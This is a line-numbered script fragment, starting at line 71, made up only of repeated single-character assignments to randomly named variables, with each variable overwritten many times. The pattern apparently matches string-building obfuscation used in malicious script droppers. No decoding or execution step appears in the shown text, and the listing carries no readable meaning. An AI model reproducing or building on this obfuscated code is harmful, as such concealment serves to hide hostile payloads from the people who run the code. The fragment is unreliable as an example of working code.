71	zkrkqfgz = "H";
72	zkrkqfgz = "h";
73	zkrkqfgz = "s";
74	zkrkqfgz = "T";
75	zkrkqfgz = "p";
76	zkrkqfgz = "d";
77	zkrkqfgz = "t";
78	onnwfwktv = "G";
79	onnwfwktv = "U";
80	onnwfwktv = "B";
81	onnwfwktv = "l";
82	onnwfwktv = "T";
83	onnwfwktv = "C";
84	onnwfwktv = "Q";
85	onnwfwktv = "f";
86	onnwfwktv = "F";
87	onnwfwktv = "W";
88	onnwfwktv = "I";
89	onnwfwktv = "g";
90	onnwfwktv = "O";
91	onnwfwktv = "i";
92	onnwfwktv = "l";
93	onnwfwktv = "J";
94	onnwfwktv = "l";
95	onnwfwktv = "T";
96	onnwfwktv = "I";
97	onnwfwktv = "Q";
98	onnwfwktv = "r";
99	onnwfwktv = "J";
100	onnwfwktv = "D";
101	onnwfwktv = "o";
102	wtnvgwwu = "d";
103	wtnvgwwu = "j";
104	wtnvgwwu = "l";
105	wtnvgwwu = "w";
106	wtnvgwwu = "E";
107	wtnvgwwu = "Q";
108	wtnvgwwu = "R";
109	wtnvgwwu = "N";
110	wtnvgwwu = "n";
111	wtnvgwwu = "m";
112	qhugdzwc = "W";
113	qhugdzwc = "z";
114	qhugdzwc = "m";
115	qhugdzwc = "w";
116	qhugdzwc = "e";
117	qhugdzwc = "o";
118	qhugdzwc = "Q";
119	qhugdzwc = "t";
120	qhugdzwc = "l";
121	qhugdzwc = "G";
122	qhugdzwc = "X";
123	qhugdzwc = "B";
124	qhugdzwc = "J";
125	qhugdzwc = "M";
126	qhugdzwc = "6";
127	mdrdhhgie = "B";
128	mdrdhhgie = "e";
129	mdrdhhgie = "i";
130	mdrdhhgie = "K";
131	mdrdhhgie = "t";
132	mdrdhhgie = "s";
133	mdrdhhgie = "Z";
134	mdrdhhgie = "L";
135	mdrdhhgie = "C";
136	mdrdhhgie = "i";
137	mdrdhhgie = "R";
138	mdrdhhgie = "K";
139	mdrdhhgie = "N";
140	mdrdhhgie = "X";
141	mdrdhhgie = "R";
142	mdrdhhgie = "V";
143	mdrdhhgie = "l";
144	mdrdhhgie = "t";
145	mdrdhhgie = "o";
146	mdrdhhgie = "Z";
147	mdrdhhgie = "n";
148	mdrdhhgie = "U";
149	mdrdhhgie = "o";
150	mdrdhhgie = "C";
151	mdrdhhgie = "G";
152	mdrdhhgie = "c";
153	mdrdhhgie = "v";
154	mdrdhhgie = "Y";
155	mdrdhhgie = "m";
156	mdrdhhgie = "b";
157	mdrdhhgie = "d";
158	mdrdhhgie = "U";
159	mdrdhhgie = "q";
160	mdrdhhgie = "I";
161	mdrdhhgie = "i";
162	mdrdhhgie = "m";
163	mdrdhhgie = "T";
164	mdrdhhgie = "a";
165	bvcssympp = "d";
166	bvcssympp = "w";
167	bvcssympp = "m";
168	bvcssympp = "R";
169	bvcssympp = "Q";
170	bvcssympp = "V";
171	bvcssympp = "D";
172	bvcssympp = "Y";
173	bvcssympp = "y";
174	bvcssympp = "V";
175	bvcssympp = "j";
176	bvcssympp = "j";
177	bvcssympp = "b";
178	bvcssympp = "W";
179	bvcssympp = "U";
180	bvcssympp = "E";
181	bvcssympp = "h";
182	bvcssympp = "W";
183	bvcssympp = "P";
184	bvcssympp = "b";
185	bvcssympp = "B";
186	bvcssympp = "m";
187	bvcssympp = "Z";
188	bvcssympp = "p";
189	bvcssympp = "m";
190	bvcssympp = "C";
191	bvcssympp = "B";
192	bvcssympp = "P";
193	bvcssympp = "J";
194	bvcssympp = "k";
195	bvcssympp = "I";
196	bvcssympp = "m";
197	bvcssympp = "A";
198	bvcssympp = "r";
199	rwelqbqo = "W";
200	rwelqbqo = "m";
201	rwelqbqo = "e";
202	rwelqbqo = "p";
203	rwelqbqo = "S";
204	rwelqbqo = "v";
205	rwelqbqo = "q";
206	rwelqbqo = "k";
207	rwelqbqo = "C";
208	rwelqbqo = "U";
209	rwelqbqo = "O";
210	rwelqbqo = "r";
211	rwelqbqo = "h";
212	rwelqbqo = "s";
213	rwelqbqo = "f";
214	rwelqbqo = "q";
215	rwelqbqo = "x";
216	rwelqbqo = "H";
217	rwelqbqo = "E";
218	rwelqbqo = "T";
219	rwelqbqo = "d";
220	rwelqbqo = "S";
221	rwelqbqo = "M";
222	rwelqbqo = "v";
223	rwelqbqo = "Y";
224	rwelqbqo = "X";
225	rwelqbqo = "z";
226	rwelqbqo = "Q";
227	rwelqbqo = "g";
228	rwelqbqo = "O";
229	rwelqbqo = "Y";
230	rwelqbqo = "i";
231	rwelqbqo = "q";
232	rwelqbqo = "u";
233	rwelqbqo = "V";
234	rwelqbqo = "Z";
235	rwelqbqo = "Y";
236	jpscwmm = "n";
237	jpscwmm = "f";
238	jpscwmm = "J";
239	jpscwmm = "V";
240	jpscwmm = "o";
241	jpscwmm = "y";
242	jpscwmm = "G";
243	jpscwmm = "Q";
244	jpscwmm = "Y";
245	jpscwmm = "H";
246	jpscwmm = "o";
247	jpscwmm = "I";
248	jpscwmm = "G";
249	jpscwmm = "B";
250	jpscwmm = "\"";
251	scaqzumzd = "c";
252	scaqzumzd = "I";
253	scaqzumzd = "J";
254	scaqzumzd = "R";
255	scaqzumzd = "F";
256	scaqzumzd = "K";
257	scaqzumzd = "c";
258	scaqzumzd = "B";
259	scaqzumzd = "D";
260	scaqzumzd = "m";
261	scaqzumzd = "o";
262	scaqzumzd = "f";
263	scaqzumzd = "x";
264	scaqzumzd = "B";
265	scaqzumzd = "z";
266	scaqzumzd = "z";
267	scaqzumzd = "W";
268	scaqzumzd = "p";
269	scaqzumzd = "R";
270	scaqzumzd = "G";
271	scaqzumzd = "O";
272	scaqzumzd = "s";
273	scaqzumzd = "r";
274	scaqzumzd = "f";
275	scaqzumzd = "X";
276	scaqzumzd = "N";
277	scaqzumzd = "N";
278	scaqzumzd = "B";
279	scaqzumzd = "g";
280	scaqzumzd = "m";
281	scaqzumzd = "c";
282	scaqzumzd = "Q";
283	scaqzumzd = "s";
284	scaqzumzd = "E";
285	mkdmzng = "f";
286	mkdmzng = "b";
287	mkdmzng = "Y";
288	mkdmzng = "N";
289	mkdmzng = "Y";
290	mkdmzng = "f";
291	mkdmzng = "o";
292	mkdmzng = "D";
293	mkdmzng = "M";
294	mkdmzng = "I";
295	mkdmzng = "d";
296	mkdmzng = "q";
297	mkdmzng = "o";
298	mkdmzng = "e";
299	mkdmzng = "a";
300	mkdmzng = "T";
301	mkdmzng = "g";
302	mkdmzng = "i";
303	mkdmzng = "a";
304	mkdmzng = "A";
305	mkdmzng = "k";
306	mkdmzng = "n";
307	mkdmzng = "S";
308	mkdmzng = "S";
309	mkdmzng = "m";
310	mkdmzng = "a";
311	mkdmzng = "V";
312	mkdmzng = "h";
313	mkdmzng = "G";
314	mkdmzng = "v";
315	mkdmzng = "W";
316	mkdmzng = "z";
317	mkdmzng = "O";
318	mkdmzng = "d";
319	mkdmzng = "S";
320	dscvgnj = "B";
321	dscvgnj = "E";
322	dscvgnj = "c";
323	dscvgnj = "N";
324	dscvgnj = "h";
325	dscvgnj = "h";
326	dscvgnj = "d";
327	dscvgnj = "Z";
328	dscvgnj = "y";
329	dscvgnj = "e";
330	dscvgnj = "p";
331	dscvgnj = "I";
332	dscvgnj = "i";
333	dscvgnj = "t";
334	dscvgnj = "c";
335	dscvgnj = "M";
336	dscvgnj = "M";
337	dscvgnj = "a";
338	dscvgnj = "T";
339	dscvgnj = "D";
340	dscvgnj = "t";
341	dscvgnj = "Y";
342	dscvgnj = "y";
343	dscvgnj = "a";
344	dscvgnj = "b";
345	dscvgnj = "y";
346	dscvgnj = "b";
347	dscvgnj = "w";
348	dscvgnj = "y";
349	dscvgnj = "h";
350	dscvgnj = "Q";
351	dscvgnj = "A";
352	dscvgnj = "w";
353	dscvgnj = "E";
354	dscvgnj = "b";
355	dscvgnj = "C";
356	dscvgnj = "h";
357	dscvgnj = "b";
358	gvdys = "q";
359	gvdys = "i";
360	gvdys = "v";
361	gvdys = "w";
362	gvdys = "z";
363	gvdys = "D";
364	gvdys = "y";
365	gvdys = "j";
366	gvdys = "J";
367	gvdys = "Z";
368	gvdys = "D";
369	gvdys = "l";
370	gvdys = "D";
371	gvdys = "I";
372	gvdys = "m";
373	gvdys = "j";
374	gvdys = "h";
375	gvdys = "Y";
376	gvdys = "a";
377	gvdys = "K";
378	lxygho = "d";
379	lxygho = "v";
380	lxygho = "k";
381	lxygho = "r";
382	lxygho = "P";
383	lxygho = "i";
384	lxygho = "F";
385	lxygho = "J";
386	lxygho = "N";
387	lxygho = "E";
388	lxygho = "W";
389	lxygho = "P";
390	lxygho = "x";
391	lxygho = "z";
392	lxygho = "9";
393	csdfihh = "t";
394	csdfihh = "g";
395	csdfihh = "l";
396	csdfihh = "j";
397	csdfihh = "G";
398	csdfihh = "C";
399	csdfihh = "/";
400	tryrnjtdu = "a";
401	tryrnjtdu = "q";
402	tryrnjtdu = "W";
403	tryrnjtdu = "e";
404	tryrnjtdu = "o";
405	tryrnjtdu = "u";
406	tryrnjtdu = "D";
407	tryrnjtdu = "o";
408	tryrnjtdu = "d";
409	yvazdzb = "w";
410	yvazdzb = "Z";
411	yvazdzb = "z";
412	yvazdzb = "n";
413	yvazdzb = "W";
414	yvazdzb = "M";
415	yvazdzb = "h";
416	yvazdzb = "x";
417	yvazdzb = "q";
418	yvazdzb = "K";
419	yvazdzb = "h";
420	yvazdzb = "L";
421	yvazdzb = "X";
422	yvazdzb = "L";
423	yvazdzb = "u";
424	yvazdzb = "B";
425	yvazdzb = "Y";
426	yvazdzb = "z";
427	yvazdzb = "U";
428	yvazdzb = "i";
429	yvazdzb = "H";
430	yvazdzb = "x";
431	yvazdzb = "o";
432	yvazdzb = "a";
433	yvazdzb = "q";
434	yvazdzb = "m";
435	yvazdzb = "l";
436	yvazdzb = "s";
437	yvazdzb = "t";
438	yvazdzb = "c";
439	yvazdzb = "L";
440	yvazdzb = "Z";
441	yvazdzb = "X";
442	yvazdzb = "Z";
443	yvazdzb = "B";
444	yvazdzb = "G";
445	yvazdzb = "K";
446	yvazdzb = "p";
447	yvazdzb = "B";
448	yvazdzb = "H";
449	yvazdzb = "k";
450	yvazdzb = "r";
451	yvazdzb = "V";
452	yvazdzb = "w";
453	uepgmam = "s";
454	uepgmam = "z";
455	uepgmam = "K";
456	uepgmam = "W";
457	uepgmam = "G";
458	uepgmam = "S";
459	uepgmam = "m";
460	uepgmam = "H";
461	uepgmam = "h";
462	uepgmam = "c";
463	uepgmam = "F";
464	uepgmam = "F";
465	uepgmam = "Y";
466	uepgmam = "X";
467	uepgmam = "B";
468	uepgmam = "Z";
469	uepgmam = "g";
470	uepgmam = "o";
471	uepgmam = "n";
472	uepgmam = "U";
473	uepgmam = "W";
474	uepgmam = "K";
475	uepgmam = "n";
476	uepgmam = "A";
477	uepgmam = "d";
478	uepgmam = "C";
479	uepgmam = "R";
480	uepgmam = "x";
481	uepgmam = "n";
482	uepgmam = "p";
483	tdephyyh = "c";
484	tdephyyh = "E";
485	tdephyyh = "B";
486	tdephyyh = "v";
487	tdephyyh = "W";
488	tdephyyh = "N";
489	tdephyyh = "m";
490	tdephyyh = "p";
491	tdephyyh = "f";
492	tdephyyh = "n";
493	tdephyyh = "a";
494	tdephyyh = "N";
495	tdephyyh = "u";
496	tdephyyh = "L";
497	tdephyyh = "D";
498	tdephyyh = "q";
499	tdephyyh = "U";
500	tdephyyh = "A";
501	tdephyyh = "T";
502	tdephyyh = "Z";
503	tdephyyh = "Y";
504	tdephyyh = "b";
505	tdephyyh = "H";
506	tdephyyh = "w";
507	tdephyyh = "a";
508	tdephyyh = "t";
509	tdephyyh = "e";
510	tdephyyh = "I";
511	tdephyyh = "z";
512	tdephyyh = "e";
513	tdephyyh = "T";
514	tdephyyh = "I";
515	tdephyyh = "A";
516	tdephyyh = "u";
517	tdephyyh = "s";
518	tdephyyh = "R";
519	tdephyyh = "f";
520	tdephyyh = "4";
521	vmwyogll = "Z";
522	vmwyogll = "Y";
523	vmwyogll = "L";
524	vmwyogll = "s";
525	vmwyogll = "Z";
526	vmwyogll = "Y";
527	vmwyogll = "K";
528	vmwyogll = "Q";
529	vmwyogll = "Q";
530	vmwyogll = "E";
531	vmwyogll = "N";
532	vmwyogll = "m";
533	vmwyogll = ".";
534	odfmywk = "B";
535	odfmywk = "H";
536	odfmywk = "A";
537	odfmywk = "z";
538	odfmywk = "B";
539	odfmywk = "i";
540	odfmywk = "F";
541	odfmywk = "L";
542	odfmywk = "J";
543	odfmywk = "f";
544	odfmywk = "u";
545	odfmywk = "q";
546	odfmywk = "h";
547	odfmywk = "B";
548	odfmywk = "n";
549	odfmywk = "a";
550	odfmywk = "Y";
551	odfmywk = "f";
552	odfmywk = "l";
553	odfmywk = "n";
554	odfmywk = "E";
555	odfmywk = "u";
556	odfmywk = "S";
557	odfmywk = "n";
558	odfmywk = "v";
559	odfmywk = "n";
560	gwzlil = "P";
561	gwzlil = "c";
562	gwzlil = "Q";
563	gwzlil = "h";
564	gwzlil = "l";
565	gwzlil = "Z";
566	gwzlil = "F";
567	gwzlil = "e";
568	gwzlil = "m";
569	gwzlil = "5";
570	mevikhbbe = "T";
571	mevikhbbe = "p";
572	mevikhbbe = "W";
573	mevikhbbe = "p";
574	mevikhbbe = "Q";
575	mevikhbbe = "p";
576	mevikhbbe = "z";
577	mevikhbbe = "e";
578	mevikhbbe = "X";
579	mevikhbbe = "W";
580	mevikhbbe = "O";
581	mevikhbbe = "F";
582	mevikhbbe = "S";
583	mevikhbbe = "I";
584	mevikhbbe = "P";
585	mevikhbbe = "P";
586	mevikhbbe = "j";
587	mevikhbbe = "r";
588	mevikhbbe = "Y";
589	mevikhbbe = "P";
590	mevikhbbe = "l";
591	mevikhbbe = "K";
592	mevikhbbe = "V";
593	mevikhbbe = "d";
594	mevikhbbe = "E";
595	mevikhbbe = "X";
596	mevikhbbe = "P";
597	mevikhbbe = "Q";
598	mevikhbbe = "P";
599	mevikhbbe = "i";
600	mevikhbbe = "B";
601	mevikhbbe = "d";
602	mevikhbbe = "u";
603	mevikhbbe = "R";
604	mevikhbbe = "\\";
605	fbhgsbug = "G";
606	fbhgsbug = "K";
607	fbhgsbug = "O";
608	wyrhxz = "P";
609	wyrhxz = "e";
610	wyrhxz = "I";
611	wyrhxz = "j";
612	wyrhxz = "r";
613	wyrhxz = "D";
614	wyrhxz = "h";
615	wyrhxz = "K";
616	wyrhxz = "T";
617	wyrhxz = "p";
618	wyrhxz = "K";
619	wyrhxz = "L";
620	wyrhxz = "e";
621	wyrhxz = "h";
622	wyrhxz = "v";
623	wyrhxz = "z";
624	wyrhxz = "i";
625	wyrhxz = "R";
626	wyrhxz = "M";
627	wyrhxz = "i";
628	wyrhxz = "m";
629	wyrhxz = "G";
630	wyrhxz = "T";
631	wyrhxz = "x";
632	wyrhxz = "V";
633	wyrhxz = "A";
634	wyrhxz = "Q";
635	wyrhxz = "R";
636	wyrhxz = "t";
637	wyrhxz = "F";
638	wyrhxz = "A";
639	wyrhxz = "L";
640	wyrhxz = "O";
641	wyrhxz = "K";
642	wyrhxz = "h";
643	wyrhxz = "N";
644	wyrhxz = "K";
645	wyrhxz = "p";
646	wyrhxz = "h";
647	wyrhxz = "G";
648	wyrhxz = "o";
649	wyrhxz = "h";
650	wyrhxz = "H";
651	fqcxfbcj = "K";
652	fqcxfbcj = "M";
653	fqcxfbcj = "Q";
654	fqcxfbcj = "Z";
655	fqcxfbcj = "x";
656	fqcxfbcj = "y";
657	fqcxfbcj = "y";
658	fqcxfbcj = "U";
659	fqcxfbcj = "w";
660	fqcxfbcj = "D";
661	fqcxfbcj = "L";
662	fqcxfbcj = "P";
663	fqcxfbcj = "B";
664	fqcxfbcj = "P";
665	fqcxfbcj = "l";
666	fqcxfbcj = "g";
667	jlgfhrrh = "q";
668	jlgfhrrh = "V";
669	jlgfhrrh = "m";
670	jlgfhrrh = "n";
671	jlgfhrrh = "o";
672	jlgfhrrh = "v";
673	jlgfhrrh = "p";
674	jlgfhrrh = "O";
675	jlgfhrrh = "q";
676	jlgfhrrh = "e";
677	jlgfhrrh = "m";
678	jlgfhrrh = "z";
679	jlgfhrrh = "Q";
680	jlgfhrrh = "d";
681	jlgfhrrh = "L";
682	jlgfhrrh = "L";
683	jlgfhrrh = "m";
684	jlgfhrrh = "e";
685	jlgfhrrh = "v";
686	jlgfhrrh = "L";
687	jlgfhrrh = "p";
688	jlgfhrrh = "z";
689	jlgfhrrh = "c";
690	jlgfhrrh = "q";
691	jlgfhrrh = "U";
692	jlgfhrrh = "m";
693	jlgfhrrh = "E";
694	jlgfhrrh = "q";
695	jlgfhrrh = "A";
696	jlgfhrrh = "N";
697	jlgfhrrh = "s";
698	jlgfhrrh = "A";
699	jlgfhrrh = "P";
700	jlgfhrrh = "p";
701	jlgfhrrh = "B";
702	jlgfhrrh = "N";
703	jlgfhrrh = "u";
704	jlgfhrrh = "k";
705	jlgfhrrh = "g";
706	jlgfhrrh = "C";
707	hrppadaib = "x";
708	hrppadaib = "h";
709	hrppadaib = "w";
710	hrppadaib = "B";
711	hrppadaib = "B";
712	hrppadaib = "m";
713	hrppadaib = "b";
714	hrppadaib = "U";
715	hrppadaib = "v";
716	hrppadaib = "W";
717	hrppadaib = "n";
718	hrppadaib = "W";
719	hrppadaib = "P";
720	gyexpdp = "R";
721	gyexpdp = "L";
722	gyexpdp = "i";
723	gyexpdp = "B";
724	gyexpdp = "S";
725	gyexpdp = "d";
726	gyexpdp = "t";
727	gyexpdp = "Y";
728	gyexpdp = "j";
729	gyexpdp = "B";
730	gyexpdp = "j";
731	gyexpdp = "G";
732	gyexpdp = "S";
733	gyexpdp = "B";
734	gyexpdp = "N";
735	gyexpdp = "C";
736	gyexpdp = "l";
737	gyexpdp = "R";
738	gyexpdp = "L";
739	gyexpdp = "A";
740	gyexpdp = "H";
741	gyexpdp = "j";
742	gyexpdp = "e";
743	gyexpdp = "u";
744	gyexpdp = "J";
745	gyexpdp = "i";
746	gyexpdp = "h";
747	gyexpdp = "E";
748	gyexpdp = "r";
749	gyexpdp = "A";
750	gyexpdp = "h";
751	hueha = "m";
752	hueha = "i";
753	hueha = "M";
754	hueha = "I";
755	hueha = "S";
756	hueha = "l";
757	hueha = "w";
758	hueha = "n";
759	hueha = " ";
760	fuccfxl = "I";
761	fuccfxl = "F";
762	fuccfxl = "N";
763	fuccfxl = "V";
764	fuccfxl = "R";
765	fuccfxl = "B";
766	fuccfxl = "b";
767	fuccfxl = "Z";
768	fuccfxl = "L";
769	fuccfxl = "a";
770	fuccfxl = "J";
771	fuccfxl = "r";
772	fuccfxl = "b";
773	fuccfxl = "g";
774	fuccfxl = "V";
775	fuccfxl = "n";
776	fuccfxl = "h";
777	fuccfxl = "L";
778	fuccfxl = "q";
779	fuccfxl = "I";
780	fuccfxl = "C";
781	fuccfxl = "i";
782	fuccfxl = "Q";
783	fuccfxl = "y";
784	fuccfxl = "F";
785	fuccfxl = "N";
786	fuccfxl = "H";
787	fuccfxl = "L";
788	fuccfxl = "Z";
789	fuccfxl = "b";
790	fuccfxl = "R";
791	fuccfxl = "E";
792	fuccfxl = "i";
793	mbnfspwlr = "v";
794	mbnfspwlr = "p";
795	mbnfspwlr = "U";
796	mbnfspwlr = "z";
797	mbnfspwlr = "J";
798	mbnfspwlr = "z";
799	mbnfspwlr = "C";
800	mbnfspwlr = "I";
801	mbnfspwlr = "R";
802	mbnfspwlr = "v";
803	mbnfspwlr = "n";
804	mbnfspwlr = "G";
805	mbnfspwlr = "n";
806	mbnfspwlr = "I";
807	mbnfspwlr = "Q";
808	mbnfspwlr = "W";
809	mbnfspwlr = "j";
810	mbnfspwlr = "R";
811	mbnfspwlr = "s";
812	lhwkczt = "w";
813	lhwkczt = "F";
814	lhwkczt = "a";
815	lhwkczt = "d";
816	lhwkczt = "E";
817	lhwkczt = "s";
818	lhwkczt = "Q";
819	lhwkczt = "E";
820	lhwkczt = "y";
821	lhwkczt = "H";
822	lhwkczt = "h";
823	lhwkczt = "o";
824	lhwkczt = "p";
825	lhwkczt = "u";
826	lhwkczt = "F";
827	lhwkczt = "z";
828	lhwkczt = "N";
829	lhwkczt = "B";
830	lhwkczt = "U";
831	lhwkczt = "f";
832	lhwkczt = "X";
833	lhwkczt = "x";
834	lhwkczt = "T";
835	lhwkczt = "u";
836	lhwkczt = "s";
837	lhwkczt = "f";
838	lhwkczt = "D";
839	lhwkczt = "e";
840	lhwkczt = "A";
841	lhwkczt = "r";
842	lhwkczt = "s";
843	lhwkczt = "U";
844	lhwkczt = "j";
845	lhwkczt = "S";
846	lhwkczt = "&";
847	flxbpwb = "Q";
848	flxbpwb = "f";
849	flxbpwb = "w";
850	flxbpwb = "t";
851	flxbpwb = "U";
852	flxbpwb = "n";
853	flxbpwb = "X";
854	flxbpwb = "Y";
855	flxbpwb = "s";
856	flxbpwb = "q";
857	flxbpwb = "I";
858	pvrmh = "L";
859	pvrmh = "Z";
860	pvrmh = "2";
861	jigboy = "Z";
862	jigboy = "0";
863	hteywx = "q";
864	hteywx = "H";
865	hteywx = "S";
866	hteywx = "T";
867	hteywx = "f";
868	hteywx = "J";
869	hteywx = "l";
870	hteywx = "f";
871	hteywx = "V";
872	hteywx = "q";
873	hteywx = "U";
874	hteywx = "k";
875	hteywx = "a";
876	hteywx = "T";
877	hteywx = "w";
878	hteywx = "R";
879	hteywx = "D";
880	hteywx = "d";
881	hteywx = "H";
882	hteywx = "c";
883	hteywx = "g";
884	hteywx = "T";
885	hteywx = "R";
886	hteywx = "Z";
887	hteywx = "C";
888	hteywx = "G";
889	hteywx = "N";
890	hteywx = "G";
891	hteywx = "q";
892	hteywx = "A";
893	hteywx = "w";
894	hteywx = "w";
895	hteywx = "T";
896	bqptj = "Z";
897	bqptj = "u";
898	bqptj = "h";
899	bqptj = "e";
900	xbctxfht = "C";
901	xbctxfht = "O";
902	xbctxfht = "i";
903	xbctxfht = "q";
904	xbctxfht = "i";
905	xbctxfht = "D";
906	xbctxfht = "j";
907	xbctxfht = "K";
908	xbctxfht = "P";
909	xbctxfht = "I";
910	xbctxfht = "q";
911	xbctxfht = "E";
912	xbctxfht = "N";
913	xbctxfht = "d";
914	xbctxfht = "G";
915	xbctxfht = "c";
916	xbctxfht = "e";
917	xbctxfht = "B";
918	xbctxfht = "H";
919	xbctxfht = "D";
920	xbctxfht = "R";
921	xbctxfht = "o";
922	xbctxfht = "x";
923	xbctxfht = "I";
924	xbctxfht = "X";
925	xbctxfht = "q";
926	srpnisscr = "i";
927	srpnisscr = "w";
928	srpnisscr = "N";
929	lsjuue = "M";
930	lsjuue = "F";
931	lsjuue = "j";
932	lsjuue = "V";
933	lsjuue = "w";
934	lsjuue = "W";
935	lsjuue = "L";
936	lsjuue = "m";
937	lsjuue = "g";
938	lsjuue = "Q";
939	lsjuue = "I";
940	lsjuue = "Z";
941	lsjuue = "A";
942	lsjuue = "u";
943	lsjuue = "o";
944	lsjuue = "S";
945	lsjuue = "k";
946	lsjuue = "I";
947	lsjuue = "e";
948	lsjuue = "b";
949	lsjuue = "F";
950	lsjuue = "U";
951	lsjuue = "u";
952	lsjuue = "s";
953	lsjuue = "q";
954	lsjuue = "s";
955	lsjuue = "T";
956	lsjuue = "c";
957	lsjuue = "x";
958	lsjuue = "Y";
959	lsjuue = "N";
960	lsjuue = "Q";
961	mhamde = "s";
962	mhamde = "C";
963	mhamde = "E";
964	mhamde = "W";
965	mhamde = "_";
966	ahwofesq = "a";
967	ahwofesq = "o";
968	ahwofesq = "F";
969	ahwofesq = "t";
970	ahwofesq = "S";
971	ahwofesq = "o";
972	ahwofesq = "W";
973	ahwofesq = "n";
974	ahwofesq = "Y";
975	ahwofesq = "M";
976	ahwofesq = "c";
977	ahwofesq = "w";
978	ahwofesq = "K";
979	ahwofesq = "d";
980	ahwofesq = "y";
981	ahwofesq = "t";
982	ahwofesq = "i";
983	ahwofesq = "W";
984	ahwofesq = "o";
985	ahwofesq = "Z";
986	ahwofesq = "s";
987	ahwofesq = "V";
988	ahwofesq = "S";
989	ahwofesq = "Z";
990	ahwofesq = "b";
991	ahwofesq = "b";
992	ahwofesq = "G";
993	ahwofesq = "P";
994	ahwofesq = "p";
995	ahwofesq = "f";
996	ahwofesq = "j";
997	ahwofesq = "M";
998	ahwofesq = "C";
999	ahwofesq = "w";
1000	ahwofesq = "F";
1001	ahwofesq = "S";
1002	ahwofesq = "K";
1003	ahwofesq = "B";
1004	ahwofesq = "V";
1005	ahwofesq = "d";
1006	ahwofesq = "j";
1007	ahwofesq = "u";
1008	ahwofesq = "T";
1009	ahwofesq = "f";
1010	vbsxyaqyb = "E";
1011	vbsxyaqyb = "k";
1012	vbsxyaqyb = "i";
1013	vbsxyaqyb = "i";
1014	vbsxyaqyb = "b";
1015	vbsxyaqyb = "p";
1016	vbsxyaqyb = "t";
1017	vbsxyaqyb = "V";
1018	vbsxyaqyb = "F";
1019	vbsxyaqyb = "o";
1020	vbsxyaqyb = "w";
1021	vbsxyaqyb = "m";
1022	vbsxyaqyb = "D";
1023	vbsxyaqyb = "R";
1024	vbsxyaqyb = "b";
1025	vbsxyaqyb = "Z";
1026	vbsxyaqyb = "C";
1027	vbsxyaqyb = "F";
1028	vbsxyaqyb = "U";
1029	vbsxyaqyb = "v";
1030	vbsxyaqyb = "p";
1031	vbsxyaqyb = "z";
1032	vbsxyaqyb = "l";
1033	vbsxyaqyb = "F";
1034	vbsxyaqyb = "C";
1035	vbsxyaqyb = "C";
1036	vbsxyaqyb = "G";
1037	vbsxyaqyb = "H";
1038	vbsxyaqyb = "l";
1039	vbsxyaqyb = "l";
1040	vbsxyaqyb = "d";
1041	vbsxyaqyb = "j";
1042	vbsxyaqyb = "r";
1043	vbsxyaqyb = "K";
1044	vbsxyaqyb = "k";
1045	vbsxyaqyb = "i";
1046	vbsxyaqyb = "F";
1047	vbsxyaqyb = "y";
1048	vbsxyaqyb = "F";
1049	hvcacrlky = "i";
1050	hvcacrlky = "Y";
1051	hvcacrlky = "V";
1052	hvcacrlky = "M";
1053	hvcacrlky = "w";
1054	hvcacrlky = "r";
1055	hvcacrlky = "B";
1056	hvcacrlky = "H";
1057	hvcacrlky = "X";
1058	hvcacrlky = "d";
1059	hvcacrlky = "Y";
1060	hvcacrlky = "Q";
1061	hvcacrlky = "U";
1062	hvcacrlky = "t";
1063	hvcacrlky = "a";
1064	hvcacrlky = "M";
1065	hvcacrlky = "d";
1066	hvcacrlky = "V";
1067	hvcacrlky = "t";
1068	hvcacrlky = "i";
1069	hvcacrlky = "x";
1070	hvcacrlky = "c";
1071	hvcacrlky = "H";
1072	hvcacrlky = "T";
1073	hvcacrlky = "S";
1074	hvcacrlky = "q";
1075	hvcacrlky = "M";
1076	hvcacrlky = "Z";
1077	hvcacrlky = "O";
1078	hvcacrlky = "N";
1079	hvcacrlky = "n";
1080	hvcacrlky = "D";
1081	hvcacrlky = "t";
1082	hvcacrlky = "K";
1083	hvcacrlky = "j";
1084	tdhopcma = "K";
1085	tdhopcma = "g";
1086	tdhopcma = "w";
1087	tdhopcma = "c";
1088	tdhopcma = "V";
1089	tdhopcma = "h";
1090	tdhopcma = "z";
1091	tdhopcma = "B";
1092	tdhopcma = "z";
1093	tdhopcma = "D";
1094	tdhopcma = "e";
1095	tdhopcma = "O";
1096	tdhopcma = "i";
1097	tdhopcma = "U";
1098	sambk = "C";
1099	sambk = "D";
1100	sambk = "Z";
1101	sambk = "V";
1102	sambk = "D";
1103	sambk = "B";
1104	sambk = "f";
1105	sambk = "V";
1106	sambk = "r";
1107	sambk = "G";
1108	sambk = "r";
1109	sambk = "Z";
1110	sambk = "t";
1111	sambk = "G";
1112	sambk = "n";
1113	sambk = "T";
1114	sambk = "G";
1115	sambk = "K";
1116	sambk = "N";
1117	sambk = "Z";
1118	sambk = "w";
1119	sambk = "x";
1120	sambk = "Q";
1121	sambk = "m";
1122	sambk = "c";
1123	sambk = "R";
1124	sambk = "i";
1125	sambk = "g";
1126	sambk = "s";
1127	sambk = "y";
1128	sambk = "s";
1129	sambk = "N";
1130	sambk = "V";
1131	sambk = "i";
1132	sambk = "z";
1133	sambk = "K";
1134	sambk = "Y";
1135	sambk = "T";
1136	sambk = "g";
1137	sambk = "C";
1138	sambk = "X";
1139	sambk = "x";
1140	sambk = "s";
1141	sambk = "c";
1142	bgfnlwui = "t";
1143	bgfnlwui = "B";
1144	bgfnlwui = "O";
1145	bgfnlwui = "l";
1146	bgfnlwui = "N";
1147	bgfnlwui = "L";
1148	bgfnlwui = "e";
1149	bgfnlwui = "d";
1150	bgfnlwui = "s";
1151	bgfnlwui = "C";
1152	bgfnlwui = "p";
1153	bgfnlwui = "H";
1154	bgfnlwui = "X";
1155	bgfnlwui = "z";
1156	bgfnlwui = "n";
1157	bgfnlwui = "K";
1158	bgfnlwui = "G";
1159	bgfnlwui = "X";
1160	bgfnlwui = "i";
1161	bgfnlwui = "v";
1162	bgfnlwui = "Z";
1163	bgfnlwui = "S";
1164	bgfnlwui = "A";
1165	bgfnlwui = "H";
1166	bgfnlwui = "8";
1167	mgvorvzer = "c";
1168	mgvorvzer = "p";
1169	mgvorvzer = "b";
1170	mgvorvzer = "t";
1171	mgvorvzer = "r";
1172	mgvorvzer = "R";
1173	mgvorvzer = "u";
1174	mgvorvzer = "B";
1175	mgvorvzer = "m";
1176	mgvorvzer = "n";
1177	mgvorvzer = "k";
1178	hoblhahcm = "p";
1179	hoblhahcm = "n";
1180	hoblhahcm = "a";
1181	hoblhahcm = "q";
1182	hoblhahcm = "D";
1183	hoblhahcm = "b";
1184	hoblhahcm = "j";
1185	hoblhahcm = "B";
1186	hoblhahcm = "v";
1187	hoblhahcm = "c";
